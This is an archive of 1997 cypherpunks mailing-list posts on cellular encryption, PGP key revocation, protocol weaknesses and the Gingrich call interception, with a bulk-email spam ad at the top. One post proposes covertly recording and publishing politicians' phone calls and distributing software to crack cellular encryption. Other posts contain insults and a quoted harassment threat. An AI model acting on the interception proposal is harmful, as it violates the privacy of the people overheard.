 <*> N e w   Y e a r   S p e c i a l - 3   D a y s   O N L Y ! ! ! <*>

 ~ YOUR   E x c l u s i v e   1 4 - l i n e  Ad  Emailed  "ALONE" ~
                 to  2,500 Business Opportunity Seekers
              O N L Y           $ 1 4 .  9 5       (reg. $59.00)
       Email:  special@allvip.com         For  Easy Submission Form
                                 Please Do NOT Hit Reply!  

                 <<*>>   E X T R A    B O N U S   <<*>>   
  Order distribution for 3 lists of 2,500 Business Opportunity Seekers
                and GET  1  list distribution === FREE
      That's  10,000  Exclusive  emailings  of  YOUR  Ad  "ALONE" 
                  For   ONLY   $44.85       (reg. $239.00)
          Your  Satisfaction  is   1 0 0 %    G U A R A N T E E D

This Exclusive New Year Offer is avaialble for 3 days ONLY.  Our space
is filling VERY QUICKLY!  Respond NOW and your space will be reserved
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "registration@nature.com"@www.nature.com
Date: Fri, 17 Jan 1997 00:16:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Nature Registration Confirmation
Message-ID: <199701170758.HAA00218@www.nature.com>
MIME-Version: 1.0
Content-Type: text/plain


Congratulations. You are now successfully registered with Nature on the
World-Wide Web -- the world's most popular on-line science journal.

Don't forget Nature on-line is updated weekly every Thursday with the very
latest events information, table of contents, jobs, news and much more.
While on-line, your registration details can also be used to request extra
information free from advertisers.

Your free registration allows you access at http://www.nature.com , as well
as Nature's US mirror site at http://www.america.nature.com (the information
there is exactly the same, but it offers faster access if you're based in 
the Americas). If you can read Japanese and if your machine is Kanjii-enabled,
you will also find Nature's Japanese gateway site at http://www.naturejpn.com .

If you ever forget your password, there's no need to re-register. Just e-mail
registration@nature.com with your name/e-mail address, and we'll look up
your details and confirm your password/username.

Also, please rest assured that your information is treated as confidential. It
is held on our secure server and will never be sold or traded to any other
company, organisation or individual.

We are constantly adapting Nature's award-winning site to keep it the first
choice for the scientific community. Your suggestions and feedback are always
much appreciated, and you may e-mail them to feedback@nature.com .

We look forward to seeing you back at the Nature site soon.

Yours sincerely,

Stephen Hunt
Nature Web Site
e-mail: s.hunt@nature.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 17 Jan 1997 05:29:30 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Kill filing
In-Reply-To: <32DF118A.721F@gte.net>
Message-ID: <Pine.LNX.3.95.970117082837.5142H-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Stop acting so stupid, Michael.

On Thu, 16 Jan 1997, Dale Thorn wrote:

> Michael Gurski wrote:
> > On Thu, 16 Jan 1997, Robert Hettinga wrote:
> > > At 1:05 pm -0500 1/16/97, Ed Falk wrote:
> 
> > > And, in my case, Eudora displays each message in the status window as it's
> > > bringing something down from the POP server, and again as it filters.
> > > So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder.
> 
> > I used to have procmail shove messages from certain folks directly to
> > /dev/null, but then wondered a few days ago if I were missing
> > anything, so they ended up going to $MAILDIR/.in.garbage.  After
> > looking in there today, I'm glad to say that it's back to /dev/null,
> > with no regrets. Of course, with the new moderated list, there shouldn't
> > be too much work for procmail, except for those folks who I personally
> > feel aren't worth reading...
> 
> Michael, please tell me and everyone else at cypherpunks just why it
> is we should give a shit at all what your personal killfile habits
> are, and whether we should give a shit about whether you think anyone
> on this list is or isn't worth reading.
> 
> You and a thousand other clowns seem to think this is cool to do,
> but you're actually pointing back at yourself with this kind of crap.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 02:45:26 -0800 (PST)
To: azur@netcom.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <v02140b00af086e8ed0db@[10.0.2.15]>
Message-ID: <199701170904.JAA00524@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Steve Shear <azur@netcom.com> writes:
> For voice calls, it is not possible to merely insert a more secure crypto
> function (e.g., IDEA) inside the less secure A5 crypto, unless the GSM base
> station's protocol is aware the subscriber unit is using the more secure
> crypto.  Otherwise, when the GSM base station unwraps the A5 encrypted data
> stream, which it assumes will contain digitized voice packets in the clear,
> it will not find what its looking for and will be unable to convert the
> packets to a circuit-switched voice signal.

The circuit-switched voice signal is digital also, and the voice
packet payload is transferred byte for byte into the circuit switched
link right?  So to insert IDEA encryption inside the A5 layer, you'd
need to packetize the IDEA ciphertext so that it conforms to the voice
packet spec (to fool the unwrapping the GSM station performs into
thinking the packets are voice packets).  Is that possible?  Is the
packet switched protocol non-error corrected?  (ie Is packet dropping
expected?)  If so you need to use an IDEA mode which does not rely on
previous packets.

> If, as I have previously stated, the subscriber instead uses the data port
> of his instrument and establishes a data link with his payload protected by
> the more the secure crypto this is entirely feasible.

If the above is infeasible.  Probably this is a more practical
approach anyway, as the data port has been already engineered to solve
some of problems that would be encountered, and you would be
duplicating effort.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 08:12:17 -0800 (PST)
To: azur@netcom.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701201612.IAA12441@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Shear <azur@netcom.com> writes:
> For voice calls, it is not possible to merely insert a more secure crypto
> function (e.g., IDEA) inside the less secure A5 crypto, unless the GSM base
> station's protocol is aware the subscriber unit is using the more secure
> crypto.  Otherwise, when the GSM base station unwraps the A5 encrypted data
> stream, which it assumes will contain digitized voice packets in the clear,
> it will not find what its looking for and will be unable to convert the
> packets to a circuit-switched voice signal.

The circuit-switched voice signal is digital also, and the voice
packet payload is transferred byte for byte into the circuit switched
link right?  So to insert IDEA encryption inside the A5 layer, you'd
need to packetize the IDEA ciphertext so that it conforms to the voice
packet spec (to fool the unwrapping the GSM station performs into
thinking the packets are voice packets).  Is that possible?  Is the
packet switched protocol non-error corrected?  (ie Is packet dropping
expected?)  If so you need to use an IDEA mode which does not rely on
previous packets.

> If, as I have previously stated, the subscriber instead uses the data port
> of his instrument and establishes a data link with his payload protected by
> the more the secure crypto this is entirely feasible.

If the above is infeasible.  Probably this is a more practical
approach anyway, as the data port has been already engineered to solve
some of problems that would be encountered, and you would be
duplicating effort.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 02:46:37 -0800 (PST)
To: azur@netcom.com
Subject: Re: GSM technology
In-Reply-To: <v02140b02af06ecc8961a@[10.0.2.15]>
Message-ID: <199701170931.JAA00539@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Steve Shear <azur@netcom.com> writes:
> [very useful explanation of GSM TDMA, and the new HSCSD]

64 kbit/s tied to ISDN is very nice technology.

> ENCRYPTED GSM LINKS
> If the GSM phone includes a data port, as some already do, just connect
> your laptop, dial your ISP and 'push' the encrypted traffic over that link
> (e.g., using TCP/IP and PGPfone).

This would obviously be possible, but to my mind reduces the appeal of
the system.  Not every one has a laptop.  Even if the potential user
does have a laptop, booting windows95, and starting up PGPfone is an
onerous task compared to just dialing a number on a mobile phone.
It's a user friendliness issue, and a question of ergonomics.  A
mobile phone is more portable than a GSM phone with a laptop plugged
into the data port.  You can't fit the laptop and GSM phone
combination into your shirt pocket.  What are you going to use for a
handset?  Radio operators headphone (with mike attached to the
headset) plugged into the laptop?  That's more dangling wires, and
makes the system less portable, and even more onerous to setup (take
laptop from carry bag, plug in headphones, plug in phone data port,
wait for laptop to boot, etc).

Even for crypto enthousiasts, I would submit that many would neglect
to go through the hassle of going through PGPfone for most
conversations, and would instead just use the mobile phone in the
clear (or with A5 encryption).  This for similar reasons to the
situation with PGP itself, many people rarely use PGP, even though
there is abundant software available to use it seamlessly with most
mail readers.  (I can vouch for mailcrypt.el the emacs interface to
PGP, and use it for to anyone who has a PGP key, and does not express
displeasure at receiving encrypted email).

Also, the cell phone tarriffs may be higher if you need higher
bandwidth to get the software only voice codec implementations in
PGPfone to produce equivalent full-duplex voice quality to that
expected from a digital mobile phone.

Not knocking the mobile phone and laptop combination for the purpose
of having mobile TCP/IP access from a laptop, I know several people
who have this combination, though only at 9.6kbits, and even at that
speed it is very neat.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 08:13:59 -0800 (PST)
To: azur@netcom.com
Subject: Re: GSM technology
Message-ID: <199701201613.IAA12460@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Shear <azur@netcom.com> writes:
> [very useful explanation of GSM TDMA, and the new HSCSD]

64 kbit/s tied to ISDN is very nice technology.

> ENCRYPTED GSM LINKS
> If the GSM phone includes a data port, as some already do, just connect
> your laptop, dial your ISP and 'push' the encrypted traffic over that link
> (e.g., using TCP/IP and PGPfone).

This would obviously be possible, but to my mind reduces the appeal of
the system.  Not every one has a laptop.  Even if the potential user
does have a laptop, booting windows95, and starting up PGPfone is an
onerous task compared to just dialing a number on a mobile phone.
It's a user friendliness issue, and a question of ergonomics.  A
mobile phone is more portable than a GSM phone with a laptop plugged
into the data port.  You can't fit the laptop and GSM phone
combination into your shirt pocket.  What are you going to use for a
handset?  Radio operators headphone (with mike attached to the
headset) plugged into the laptop?  That's more dangling wires, and
makes the system less portable, and even more onerous to setup (take
laptop from carry bag, plug in headphones, plug in phone data port,
wait for laptop to boot, etc).

Even for crypto enthousiasts, I would submit that many would neglect
to go through the hassle of going through PGPfone for most
conversations, and would instead just use the mobile phone in the
clear (or with A5 encryption).  This for similar reasons to the
situation with PGP itself, many people rarely use PGP, even though
there is abundant software available to use it seamlessly with most
mail readers.  (I can vouch for mailcrypt.el the emacs interface to
PGP, and use it for to anyone who has a PGP key, and does not express
displeasure at receiving encrypted email).

Also, the cell phone tarriffs may be higher if you need higher
bandwidth to get the software only voice codec implementations in
PGPfone to produce equivalent full-duplex voice quality to that
expected from a digital mobile phone.

Not knocking the mobile phone and laptop combination for the purpose
of having mobile TCP/IP access from a laptop, I know several people
who have this combination, though only at 9.6kbits, and even at that
speed it is very neat.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Fri, 17 Jan 1997 11:24:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hi again, and an invitation to kibitz
In-Reply-To: <199701140755.CAA04514@mail.intercon.com>
Message-ID: <5bojee$gjn@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <199701140755.CAA04514@mail.intercon.com>,
Amanda Walker <amanda@intercon.com> wrote:
> (a) Server sends 8-byte challenge to client
> 
> (b) Client sends Microsoft NT authentication response to the server
>     (take the password in Unicode form, do an MD4 hash, pad with 0s to 21
>     bytes, split into 3 7-byte groups, use these as DES keys to encrypt
>     the challenge three times, send the 24-byte result as the response).
> 
> (c) If authentication fails, close the connection.
> 
> (d) If authentication succeeds, all subsequent traffic is enccrypted with
>     DES in CFB mode.  Until April :), the DES key used is taken from the
>     first 7 bytes of the MD4 hash of the password (after April, we expect
>     to switch to Diffie-Hellman key exchange first, followed by a revised
>     authentication handshake).

Some weaknesses:

- It doesn't resist dictionary attacks (no salt) when the attacker can make
    one active probe (forge a fixed challenge and get the client's response).
- It doesn't stop replay attacks (replay a fixed challenge, now the same DES
    key is used, so replay DES-encrypted session data).
- DES-encryption doesn't provide message authentication against active
    attacks; use a MAC too.
- You should use independent DES keys for each direction of the connection.
- Also the DES encryption key doesn't change for each connection.  It should.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 17 Jan 1997 11:21:31 -0800 (PST)
To: wombat@mcfeely.bsfs.org>
Subject: Re: Newt's phone calls
Message-ID: <199701171921.LAA18808@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 PM 1/15/97 -0500, Rabid Wombat wrote:
>
>
>On Mon, 13 Jan 1997, Declan McCullagh wrote:
>
>> Don't be too sure that crypto is that far beneath the radar. I spent
>> Thursday through Saturday at an annual privacy conference for activists
>> from around the country, and they understood the principles. Their
>> voicemails were filling up with calls from reporters last Friday about the
>> Gingrich incident, and I know they were talking crypto.
>
...
>
>"Call Privacy and Security" are listed in bold, with "Say goodbye to 
>eavesdropping" right below. Don't sell the public short; even me mum 
>knows her cordless phone is insecure. ;)
>
I had to tell my sister not to use the cordless phone to use the automated
banking services that our bank has available on grounds that transfers are
also available through the same service.
Our father is a math teacher, computer hobbyists since 1979.  Both of my
parents have college educations.  My sister pegged the scales on the state
distributed proficiency tests.  Yet she knows practically nothing outside of
her field.  I will probably have to show her the values of cryptography
before she actually has any patient records to deal with, (she's a pharmacy
major.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Fri, 17 Jan 1997 11:35:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <5bok3l$gl4@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <Pine.GSO.3.95.970113203329.21655A-100000@cp.pathfinder.com>,
Declan McCullagh  <declan@pathfinder.com> wrote:
> The only other journalist who was there made an interesting point, that
> encrypting cell phone traffic only up to the point it hits the phone
> system wouldn't hinder L.E. access but would protect privacy. (Or,
> perhaps, would be worse in the long term since we wouldn't have such
> luscious examples.) 

This is well-known.  GSM does this, for example.  I've seen the point
made in several textbooks.

I don't know of any cellular systems that do end-to-end encryption
(which would stop wiretapping at the landline switch) as opposed to
airlink encryption.  Does anyone else?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Fri, 17 Jan 1997 12:29:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
Message-ID: <199701171938.LAA12029@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
> I ran a quick Kappa test on it.  ...

I had a blast with this one.  I was up until 4:30 last night working
on Pierre van Rooyen's "Here follows a example..." cryptogram.  It's
like doing a jigsaw puzzle; there's a hump you cross over near the
end where everything just falls into place.  Jim Gillogly broke it in
only a few hours, whereas I must have put in a whole day cumulatively
(half of that writing software), but it was my first real cryptogram.

It was a hell of a learning experience.  They say that you can't design
a crypto system until you've broken someone else's first, and this really
drove it home.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 17 Jan 1997 11:33:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: (Fwd) Black Liberation Radio
Message-ID: <199701171933.LAA16898@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


------- Forwarded Message Follows -------
Date:          Thu, 16 Jan 1997 12:36:31 -0700
From:          "Clover Hale" <clover@iaj.xo.com>
Subject:       Black Liberation Radio
To:            iaj-futuremedia@igc.org

 BLACK LIBERATION RADIO BUSTED!


   This morning, the FCC raided Black Liberation Radio in Decatur,
Illinois and seized all the equipment. BLR, an unlicensed radio
station operated by Napolean and Mildred Williams, has been a growing
thorn in the side of the local power structure. BLR has brought
together the predominantly white workers who have undergone bitter
strikes in the 90s (Caterpillar, etc.) with unemployed blacks and
whites. It has given them all a voice, not just locally but to a
degree nationally (Napolean was the keynote speaker at the recent
Micro Broadcasters Convention in Oakland).
   This pioneering station must go back on the air. Napoleon requests
donations to help them fight this. Please send what you can to:
Napoleon Williams, 637 E Center St., Decatur IL 63526. In the face of
a growing police state, Napoleon and Mildred are fighting back. They
need your help.

*PLEASE* call to issue protests:

State Attorney General
Jim Ryan
217-782-1090

Macon County States Attorney
Lawrence "Larry" Fichter
217-424-1400
101 South Main, Decatur,Il 62523.




------------
Makani Themba
mthemba@igc.apc.org
3780 Webster Street, Oakland, CA  94609
(510) 655-3112 (voice) (510) 658-5122 (fax)

"Whoever controls the flow of information dictates our
perceptions and perspectives; whoever controls the news
shapes our destiny."

   - George Clinton

Stop the execution of Mumia Abu Jamal!




=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Fri, 17 Jan 1997 03:00:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: DPD on the Web
Message-ID: <199701171100.MAA10275@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Listen to the Dallas PD with RealAudio:

http://www.policescanner.com/

Nobody





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 17 Jan 1997 12:12:10 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Key Revokation Scheme
Message-ID: <3.0.1.32.19970117120914.00639400@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:32 PM 1/14/97 -0500, harka@nycmetro.com wrote:
>I started thinking about the issue, how to set up a system to have
>somebody else revoke your key for you, if you don't have the means
>to do so yourself.
>The possible case I had in mind was, what if you're maybe a
>dissident, you get arrested and your apartment (incl. disks/keys)
>gets raided. You don't have any means to revoke the key yourself,
>don't even have e-mail in general, and with the "one phone call",
	[.... method deleted .... lawyer, alice, bob, ... ]

Too complex for what you're really doing.  Give your lawyer a floppy
with the key revocation certificate and a yellow sticky about how
to call Alice or Bob for help if your lawyer's not computer-literate
enough to follow the README file.  If you're paranoid about the cops
getting your unindicted co-conspirators' names, use PGP Inc.
or some computer consultant instead of Alice and Bob and have your
lawyer pay their per-hour rate.  On your One Phone Call,
tell him to get the floppy out of the sealed envelope in his safe
and use it.

Key revocation certificates don't leak your private keys,
so the only risk if the Bad Guys get a copy is denial of service,
including the pain of rebuilding all your connections, etc.;
it doesn't leak your communications or allow them to forge mail.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 17 Jan 1997 12:18:44 -0800 (PST)
To: "Sarah L. Green" <greens@hiwaay.net>
Subject: Re: Newt's phone calls
Message-ID: <v02140b06af057d2eeee5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>On Thu, 16 Jan 1997, Phillip M. Hallam-Baker wrote:
>>
>> It was a conference call but over a cellular phone. Martin had hacked his
>> Radio Shack Scanner using a well known technique. He had a radio ham
>> license.
>>
>Phill
>        Actually I'd love to see this go to court & have the law itself
>tossed out.  How many years have the airwaves been free?  Now it is
>illegal to listen on the cellular frequencies.
>
>Sarah.
>
>==============================================================================
>Sarah L. Green          Hey, I never claimed to be                >>osprey<<
>Madison, AL  (USA)        a genius  nor a typist           greens@hiwaay.net
>==============================================================================

The concept that a corporation or individual transmitting information meant
for receiption at 'significant' distances should be accorded the
presumption of privacy is analogous that a person shouting out their window
to a person on the street and assuming that insisting neighbors be required
to turn a bind ear.

However, since the government has pressed the point, couldn't one use this
same logic to claim that since face-to-face conversations are assumed to be
private that wire taps are illegal.  I seem to recall that Chief Justice
Brandice made this argument in the late '20s.  Look where we are today.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 17 Jan 1997 12:23:49 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Forget DES, crack CAVE; was: Newt may be more receptive to encryption now
Message-ID: <v02140b07af058074b3ca@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>I think what's important to stress is that technical fixes work, laws
>don't.
>
>Net-advocates in DC are already planning to suggest to Republicans that
>they use crypto as a hammer to nail Gore (the chief White House supporter
>of the current policy) and draw votes and cash from Silicon Valley.
>
>-Declan
>
>
>On Thu, 16 Jan 1997 Scottauge@aol.com wrote:
>
>>
>> Given his troubles with this "hay seed" scanner recording democrats, ol' Newt
>> may be more receptive to encryption.
>>
>> Our privacy certainly is getting trashed by this presidency and I am hoping
>> an impeachment is coming down the line.
>>
>> Since the congress is who makes the laws, maybe we all can focus some snail
>> mail to these guys.
>>
>> Perhaps EFF could even draft some laws for our protection (what a joke - just
>> to keep busy body beaurocrats outta our business).
>>
>> What does it matter anyhow, these guys dont read their own 300 - 5000 page
>> laws anyhow....
>>
>> Hopeless....
>>
>>

Why don't we threaten to monitor and post RealAudio of all the politico's
juciest cellular intrigues, or design and distribute CAVE cracking software
to allow simple monitoring of digital cellular communications.  IMHO, this
would be a better demonstration that the DES crack being contemplated.

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 17 Jan 1997 09:38:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam Hater URL :)
Message-ID: <TCPSMTP.17.1.17.12.27.34.2780269260.1471300@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


 In> Subject: CORRECT> Spam Hater URL

 In> Here is the URL

 In> http://www.compulink.co.uk/~net-services/spam/

 In> Windows Spam Hater Software for Hitting Back!
 In> see http://www.compulink.co.uk/~net-services/spam/


Have fun :)

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMt0PyTltEBIEF0MBAQERUAf/Z8yw1OOEbP+1wGivh355JmDYXM9IebwP
NBUvPpaYiNbOoq4axszj9rc5V0EITEeDQkyKahagozQwdknl/XX4s1JrXvmaZi2y
ZM59n7N9FFPI4MNVLTg7maxKe13LStbzv86UDdwQMf54hGUqiSXFJs0tcDM6UyQB
EoBHnu54C5SQAThbiQvOinXP9XbrAmBgvjKuy2p59FESUmB8JMPvgAbtB+3ecF3C
fWiZnmVa2UvF+OoxDpYscqqfEGHRjw/tszTf5Y7fq/RRPPMEqVG5BMt/9Ep4rEdE
wfLZXgBvN7bZWmUD1sOoXWQ3c/oYa/3tXft6DzY8JiMHvtsgzWtawQ==
=O/jy
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 17 Jan 1997 10:16:02 -0800 (PST)
To: unde0275@frank.mtsu.edu (Internaut)
Subject: Re: Airport security [no such thing]
In-Reply-To: <01BC03D2.A3F21CA0@s14-pm05.tnstate.campus.mci.net>
Message-ID: <199701171832.MAA00342@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> I say we make people fly naked and ship their stuff via UPS ;).

    >>shudder<<

    No!. A clear case of the cure being worse than the disease...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Fri, 17 Jan 1997 13:26:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: UNSUBSCRIBE
Message-ID: <199701172045.MAA12756@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


Could someone help this luser?  Is he responding like this to every post
on the list?

----- Begin Included Message -----

>From spooke@ita.flashnet.it  Fri Jan 17 12:44:24 1997
X-Sender: rm02129@ita.flashnet.it
Mime-Version: 1.0
Date: Fri, 17 Jan 1997 21:45:00 +0100
To: ed.falk@Eng (Ed Falk)
From: Spooke <spooke@ita.flashnet.it>
Subject: UNSUBSCRIBE

globalkos.org 
>> 
>> Hi, my name is Tod, and I really want to be a cool hacker, ...
>
>This has *got* to be a troll.  Nobody could be this clueless.
>
>
>Well, actually, they could.
>
>



----- End Included Message -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Fri, 17 Jan 1997 12:59:03 -0800 (PST)
To: Rodrigo Espirito Santo <res@unidyne.uni.pt>
Subject: Re: Get me off this fucking list, or else.... (fwd)
In-Reply-To: <Pine.LNX.3.91.970117163041.5307B-100000@unidyne.uni.pt>
Message-ID: <Pine.LNX.3.95.970117125816.3983A-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 17 Jan 1997, Rodrigo Espirito Santo wrote:

	Such sophistication, I'm glad you'll leave, we don't need more
people subtracting from the group...

Gen/.

> ---------- Forwarded message ----------
> Date: Fri, 17 Jan 1997 16:30:25 +0000 (GMT)
> From: Rodrigo Espirito Santo <res@unidyne.uni.pt>
> To: cypherpunks@toad.com
> Cc: cypherpunks@toad.com
> Subject: Get me off this fucking list, or else....
> 
> Hey you dumb asses, i tried to unsubscribe this list in the correct way 
> but you guys don't know SHIT about this!!!!1
> If you don't get me out now i'll subscribe each and every one of you to 
> some goddamn gay and lesbiann and freak mailing list!!!!!!
> get me out!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
>   
> 

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*     "You can be a king or a street
  *---===|       2600       |===---*   sweeper, but everyone dances with the
  *---===|__________________|===---*              Grim Reaper."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 17 Jan 1997 10:13:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Alex Kelly Strikes Again
Message-ID: <3.0.1.32.19970117130602.0074b98c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Alex Kelly, our favorite Greenwich Connecticut high school jock, accused
rapist, ex-fugitive who returned to the US to face trial after 8 years on
the run in Europe has done it again.  He filed the paperwork to gain
recognition of Irish citizenship from the Irish Consulate and his claim has
been recognized.  He is now free to apply for an Irish Passport.  The DA is
trying to yank his $1,000,000 bail.

The wire services incorrectly report that he has been "granted" Irish
citizenship.  Actually, like anyone who has at least one grandparent born
in Ireland, he *is* an Irish citizen under that nation's permissive
nationality law and merely had to register his (overseas) birth with the
Consulate.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMt+/eYVO4r4sgSPhAQHSbwP+NODK3r+64dMhpiOkDqSEUyD9OyHXJr58
rw9VFVN2y6JG2AIR5thogC+soMAMvUGuMKQiiXJkzSrTaHeanaFp/TG7FcDAi60d
DlHQbYmc8iIAXgI3yUvl4oFqqdI44FAkwTfhFe0Qcf0Ha41OHEODP/S0DFNhp6/d
+aQl7ECWsKo=
=/GGg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Fri, 17 Jan 1997 05:13:16 -0800 (PST)
To: "'THEAUDIN'" <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=thea0594+40eurobretagne+2Efr+3B@chemson.com>
Subject: RE: stop
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970117131736Z-285@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


>please stop thea0594@eurobretagne.fr    posting spam to the list !
please stop thea0594@eurobretagne.fr    being an annoying little
